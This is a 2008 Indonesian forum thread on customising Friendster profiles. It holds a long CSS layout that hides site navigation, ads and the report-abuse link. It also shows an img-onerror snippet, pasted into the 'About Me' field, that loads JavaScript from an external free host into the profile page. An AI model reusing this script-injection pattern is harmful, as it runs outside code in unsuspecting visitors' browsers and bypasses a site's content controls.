Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Topik sebelumnya Topik selanjutnya Go down

Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by lkٮچ on Mon Oct 06, 2008 4:51 am

Sambil nunggu ayam berkumandang mo ngetik ah
Fs..? semuanya pasti punya acount fs dunk... Mungkin Fs sudah menjadi salah satu tujuan utama para Cyber muda setiap kali menjelajah dunia maya.

O..ya sharing cara2 utak atik Fs yukkk.....!!!!

saya mo coba cara dengan tekhnik Overlay ato dengan cara memanggil / menyisipkan perintah javascript yang sebelumnya sudah kita hostingkan di webhost tertentu, jadi bukan mengedit di friendsternya. yang kita masukan ke friendster cuman javascript buat memanggil kode2 yang sudah kita hostingkan sebelumnya. mungkin baraya semua dah pada tau

hmmm langsung aja kita ke cara2nya, tapi sebelumnya mohon koreksinya kalo2 ada yang salah

Pertama kita harus punya dulu acount di webhost yang gratisan saja, kalo saya milih di www.badwaresite.www. atau di www.geocities.yahoo.com. kalo yang belum punya daftar dulu
dibawah ini ada rentetan kode css buat tampilan fs nantinya
Spoiler:
/* BUDAK TASIK */
/* http://taziex.nice-forum.net/*/

/* PAGE BACKGROUND */
body {
background-image: url(http://www.romantic-tips.com/pics/red-rose.jpg);
background-attachment: fixed;
background-position: top center;
background-repeat: no-repeat;
background-color: #000000;
cursor: ;
}
/* GLOBAL FONTS */
.usercontent {
font-family: Helvetica, Geneva, Arial, SunSans-Regular, sans-serif;
color: #ffffff;
}
/* GLOBAL LINKS */
.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:hover, .usercontent a:active {
color: #339933;
}
.usercontent a:hover {
text-decoration: none;
color: transparent;
}
/* MASTER BOXES */
.commonbox {
-moz-opacity: 0.5; opacity: 0.5; border: 4px solid #FF0000; -moz-border-radius: 10px;
background-color: #000000;
}
.commonbox .evenrow {
background-color: transparent;
}

/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
font-family: Helvetica, Geneva, Arial, SunSans-Regular, sans-serif;
color: transparent;
background-color: transparent; border-bottom: 4px solid #FF0000;
}
/* CONTROL PANEL: BOX */
.controlpanel {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* CONTROL PANEL: USER PHOTO */
.controlpanel .imgblock200 {
border-color: #ffffff;
border-style: solid;
}
/* CONTROL PANEL: DATA */
.controlpanel .q {
font-family: Helvetica, Geneva, Arial, SunSans-Regular, sans-serif;
color: #ffffff;
}
.controlpanel .data {
font-family: Helvetica, Geneva, Arial, SunSans-Regular, sans-serif;
color: #ff0033;
}
.data a {
font-family: Helvetica, Geneva, Arial, SunSans-Regular, sans-serif;
color: #ffffff;
text-decoration: ;
}
/* CONTROL PANEL: MORE ABOUT ME LINK */
a.more {
font-family: Helvetica, Geneva, Arial, SunSans-Regular, sans-serif;
color: #ffffff;
text-decoration: ;
}
/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
font-family: Arial, Sans-serif;
color: #ff0000;
border-color: #ffffff;
border-style: solid;
background-color: transparent;
text-decoration: ;
}
#controlPanelButtons a:hover {
font-family: Arial, Sans-serif;
color: transparent;
border-color: transparent;
background-color: transparent;
text-decoration: ;
}
/* BOX: MORE ABOUT ME */
.moreabout {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY PHOTO GALLERY */
.photos {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY FRIENDS */
.friends {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY VIDEOS */
.videos {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY GROUPS */
.groups {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY TESTIMONIALS */
.testimonials {
border-width: 4px;
border-style: solid;
background-color: transparent;
}
/* TESTIMONIAL COMMENTS */
.testimonialscomments {
border-width: 4px;
border-style: solid;
background-color: transparent;
}
/* BOX: MY SCRAPBOOK */
.scrapbook {
border-width: 4px;
border-style: solid;
background-color: transparent;
}
/* BOX: FAN OF */
.fanof {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY FANS */
.myfans {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY REVIEWS */
.reviews {
background-color: #000000;
}
/* BOX: MY BLOGS */
.blogs {
border-width: 4px;
border-style: solid;
background-color: #000000;
}
/* BOX: MY BLOG REVIEWS */
.blogsreviews {
border-width: 4px;
border-style: solid;
background-color: #000000;
}

/* ONE COLUMN FRIENDS LIST */
.friends div .boxcontent {
width: 100%;
text-align: left;
margin-left: 100px;
}
.friends .flogrid75 {
text-align: left;
width: 75px;
}
.friends div .viewall a {
text-align: center;
width: 100%;
padding-left: 30px;
}

/* CENTER PROFILE TEXT AND CONTENTS */
body,td,tr,div,p {
text-align: center;
}

/* Media Box */
.scrapbook {display:none!important;}

/* Reviews */
.reviews {display:none!important;}


/* How You're Connected*/
.meettrail {display:none!important;}

/* Google Ads */
#content_14 {display:none!important;}

/* Hide Navigation Language */
#navLang { display: none ! important }

/* Hide Google Search */
#search form { display : none !important; }

/* Hide Footer link only */
#footer a {display:none!important;}

/* Hide friendster logo */
#logo {display:none!important;}

/* Hide sidebar google ads*/
#content_14 {display:none!important;}

/* Hide Messages | Setting | Help | Log out*/
#subnav {display:none!important;}

/* Hide How you are connected box */
#content_15 {display:none!important;}

/* Hide White bar under navigation */
#marketing_bg {display:none!important;}

/* Hide Classifieds | Jobs | */
.secondary_links {display:none!important;}

/* Hide Recent Updates */
.user_tracker {display:none!important;}

/* FriendsterMagic - personalize logo */
#navigation {
background-color: transparent;

margin:10px 0 10px 0;
padding:260px 0 0 0;
background-image: url(http://www.todayandtomorrow.net/wp-content/uploads/2007/06/butterfly.gif);
background-color:#transparent;
background-attachment:scroll;
background-repeat: no-repeat;
background-position: CENTER center;


}

/* MASTER HEADERS */
.commonbox h1, .commonbox h2 {
text-align:center;
color: #339933;
font-family:Tahoma; font-size:12px;
background-color: #000000;
background-image: url(http://i253.photobucket.com/albums/hh72/senjoisme/separadorgothic.jpg) !important;
background-position: center; background-repeat: no-repeat;
height: 30px;
}

.publiccomments div div .dtd ul {
color:#ffffff;
overflow: hidden;
width: 440px;
height: 30px;
border: 1px solid #339933;
filter:progid:DXImageTransform.Microsoft.Alpha(opacity=70);
-moz-opacity: 0.5; opacity: 0.5; border: 1px solid #339933; -moz-border-radius: 10px;
padding: 10px;
}

.publiccomments div div .dtd ul:hover{
filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);
-moz-opacity: 1; height: 100%; min-height: 100px;
border: 1px solid #339933;
}

.publiccomments .title{
width:420px;
background:#000;
-moz-border-radius: 10px;
padding:10px;
}



#controlPanelButtons li { display: -moz-inline-box; }
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited {
border: none;
background: url() 0 0;
background-repeat: no-repeat; display: block; color: #ffffff;
font-family:papyrus; font-size:10px; }
#controlPanelButtons a:hover {
color: #999;
border: none;
background-position: -100px 0; }

body {
cursor: url(http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/53.gif),default;
}
a,a:link,a:visited,a:active,a:hover {
cursor: url(url jpg,gif atau apa aja),default;
}
/*on mouse hover*/
A:hover IMG {
FILTER: Alpha(Opacity=90, FinishOpacity=40, Style=2, StartX=10, StartY=20, FinishX=0, FinishY=0)}
overflow: visible
}


/* CONTROL PANEL: BUTTONS */
#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited { /*buttons*/
color:transparent;
font-size:10px;
border-width:0px ;
border-color:#000000;
border-style:solid;
background:transparent no-repeat fixed left url(http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/53.gif);
text-align:left;
padding-left:18px;
}
#controlPanelButtons a:hover { /*buttons hover*/
color:transparent;
font-size:10px;
border-width:0px ;
border-color:#000000;
border-style:solid;
background:transparent no-repeat fixed left url(http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/53.gif);
text-align:left;
padding-left:18px;
}

/* MAIN */
.controlpanel .q {
background: url(http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/53.gif) no-repeat center left;
padding: 0 0 0 25px;}

/* MORE ABOUT */
.usercontent .q{
background: url(http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/53.gif) no-repeat left;
padding: 0 0 0 16px;}

#navdivider {display:none;background:transparent;}
#marketing_bg {display:none;}
#mainnav {height:0px; width:700px;}
.secondary_links{display:none;}

/* BERURUTAN DARI ATAS KE BAWAH : SUBNAV, SEARCH, SURFER, LANGUAGE DAN LOGO */

#subnav {display:none;}
#search {display:none;background:transparent;}
#search form {display:none;background:transparent;}
#surfer {display:none;}
#NavLang {display:none;}
#logo {display :none;}

padding: 10px;
}
.publiccomments div div .dtd ul:hover{
-moz-opacity: 1;
border: 2px solid #FFF;
}
.publiccomments .title{
width:420px;
background:#000000;
-moz-border-radius: 10px;
padding:10px;
}
.title a {
color:#cc0000 !important;
background: url(http://h1.badwaresite.www/nopathz/theme1/mur2.gif) no-repeat center left;
padding: 0 0 0 25px;
}
.title a:hover {
color:#cc0000 !important;
}
.shakeimage{
position:relative;
}

/* HIDE SEARCH FORM */
#search, #search form {
display: none !important;
}
/* FriendsterMagic - hide the connection box */
#meettrail{display:none;background:transparent;}

/* FriendsterMagic - hide google ads */
#googleAdFactory.fullwidth{position:absolute;top:-5500px;}

/* FriendsterMagic - remove featured sponsor */

#marketing_bg{display:none;background:transparent;}
/* Hide Messages | Setting | Help | Log out*/
#subnav_search {display:none!important;}

/* FriendsterMagic - remove footer */
#footer_container {display: none;}
#footer {display: none;}

/* FriendsterMagic - hide report abuse */
.reportabuse{display:none;}

/* Hide Navigation Language */
#navLang { display: none ! important }
}

/* Hide friendster logo */
#logo {display:none!important;}
/* How You're Connected*/
.meettrail {display:none!important;}

/* Hide the Home | My Profile | My Connections*/
#mainnav {display:none!important;}

/* HIDE SEARCH FORM */
#search, #search form {
display: none !important;
}
/* HIDE SPONSORED LINKS */
#sponsorsAd {
display: none;
}
/* HIDE BANNERD AD */
.banner_ad_fix {
display: none;
}
/* Hide Friendster Classifieds */
#marketing {display:none!important;}

/* Hide sidebar google ads*/
#content_14 {display:none!important;}

/* Hide Recent Updates */
.user_tracker {display:none!important;}

Kalo tadi sudah buat acount di ripway, sekarng kita login terlebih dahulu ke ripway, kemudian klik My File. Setelah itu klik Create Text File. Nah langkah selanjutnya Copy Pate Code diatas, kemudian beri nama file tersebut misalkan budak.css !!!inget harus pake .css

lkٮچ
Senior
Senior

Jumlah posting : 74
Join date : 01.08.08
Lokasi : Mangkubumi

Lihat profil user http://blackcurut.blogspot.com/

Kembali Ke Atas Go down

Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by lkٮچ on Mon Oct 06, 2008 5:08 am

Kita sdah membuat tampilan profile Fs dengan css. Apabila ingin tampilan fs kita lebih interaktif, kita tinggal menambah kode2 javascript.
Sebagai contoh.... ini kode javascript yang simple. klik link di bawah ini

http://h1.badwaresite.www/blackcurut2331/tasik/tasik.js

Lakukan seperti cara membuat file css tadi, copy paste code yang ada di link tadi ke ripway kita, berinama file tersebut tasik.js, harus pake .js

catatan : -
Code:
// css injection
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","  http://h1.badwaresite.www/blackcurut2331/tasik/budak.css ");
document.getElementsByTagName("head")[0].appendChild(css);
adalah kode untuk memanggil file css yang sudah kita buat sebelumnya
-
Code:
http://h1.badwaresite.www/blackcurut2331/tasik/budak.css
adalah url file css yang sebelumnya kita buat tadi.

Langkah selanjutnya kita tinggal memasukan kode javascript ke FS kita. caranya masuk ke link ini http://jsesbreno.googlepages.com/Darylldelfin.html. setelah itu masukan url JS yang sudah kita buat tadi ke situs tersebut, kemudian klik Generate. Copy paste hasil genrate tersebut ke who i want to meet section atau ke About Me.
Contoh hasil generatenya seperti ini
Code:
<img id='jslink' width='0' height='0' src=??? onerror="a=document.createElement('script');a.src='  http://h1.badwaresite.www/blackcurut2331/tasik/tasik.js  ';navBg.appendChild(a);">

hufh... akhirnya selesai juga Hasilnya bisa kita liat disini http://profiles.friendster.com/63729459, tampilannya biasa2 saja... kawan bisa mengganti gambar2nya yang terletak di kode css nya (layout itu dibuat untuk cewe ).
Layout ini di Design khusus buat dibuka di Mozilla FF. karena memakai script yang gak kebaca di browser lain

:-$ sebenernya dah banyak situs penyedia layout overlay seperti ini, cuman saya kurang tau alamat situs2nya , cuman sayangnya kalo mengambil dari situs2 tersebut selalu ada iklan situsnya yang nempel ditambah kurang memuaskan kali ya :-$

o ... ya sebagai tambahan, script2 tadi diatas itu masih bisa ditambah, dengan berbagai macam kreasi kode yang lebih banyak lagi.
ini tempat yang bisa kunjungi untuk mendapatkan kode2nya, khususnya javascript.
www.javascriptkit.com
www.friendstertalk.com
dan masih banyak lagi yang lainnya, tinggal kita tanya aja ma om google. Atau kita bisa juga Open Page Source FS orang ... kita sedot deh code2 yang kira2 bagusnya

Udah dulu ah dah subuh buuu..... saya tunggu koreksinya, kalo2 ada yang salah maklum baru belajar Ini hanya sebagai contoh cara pembuatannya saja

lkٮچ
Senior
Senior

Jumlah posting : 74
Join date : 01.08.08
Lokasi : Mangkubumi

Lihat profil user http://blackcurut.blogspot.com/

Kembali Ke Atas Go down

Re: Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by CiE_iKanG on Sat Oct 18, 2008 8:41 pm

mas kenapa musti sedot fs orang seh Very Happy

CiE_iKanG
Super Senior
Super Senior

Jumlah posting : 193
Join date : 18.10.08
Age : 28
Lokasi : my humz sweet humz

Lihat profil user

Kembali Ke Atas Go down

Re: Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by rudymicro on Tue Oct 28, 2008 8:14 pm

jajaka_taziex wrote:mas kenapa musti sedot fs orang seh Very Happy



klo sedot orangna bahaya, mending sedot fsnya doang Very Happy

rudymicro
Senior
Senior

Jumlah posting : 60
Join date : 16.09.08
Age : 29
Lokasi : neraka jahanam

Lihat profil user http://rudymicro-go.blogspot.com/

Kembali Ke Atas Go down

Re: Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by kristz07 on Tue Nov 11, 2008 6:08 pm

makasi banyak om . . .

sekarang ane dah mulai agak paham..

kristz07
Administrator
Administrator

Jumlah posting : 890
Join date : 20.04.08
Age : 28
Lokasi : tasikmalaya

Lihat profil user

Kembali Ke Atas Go down

Re: Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by x-code on Fri Dec 19, 2008 1:22 am

Rolling Eyes Rolling Eyes Rolling Eyes lol!

x-code
Junior
Junior

Jumlah posting : 15
Join date : 18.12.08
Age : 29
Lokasi : simpang 5

Lihat profil user http://simpang5-gank.co.cc ,  http://gie-doank.blogspot.com

Kembali Ke Atas Go down

Re: Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by CiE_iKanG on Fri Dec 19, 2008 1:34 pm

x-code wrote:Rolling Eyes Rolling Eyes Rolling Eyes lol!

_______________________________________________________________________

hayang bisa ... tapi hoream wae Sad Sad Sad Sad

CiE_iKanG
Super Senior
Super Senior

Jumlah posting : 193
Join date : 18.10.08
Age : 28
Lokasi : my humz sweet humz

Lihat profil user

Kembali Ke Atas Go down

Re: Iseng-iseng.... Ngedit FS yuuuuuu, mungpung masih pada liburan =))

Post by Sponsored content Today at 12:23 am


Sponsored content


Kembali Ke Atas Go down

Topik sebelumnya Topik selanjutnya Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik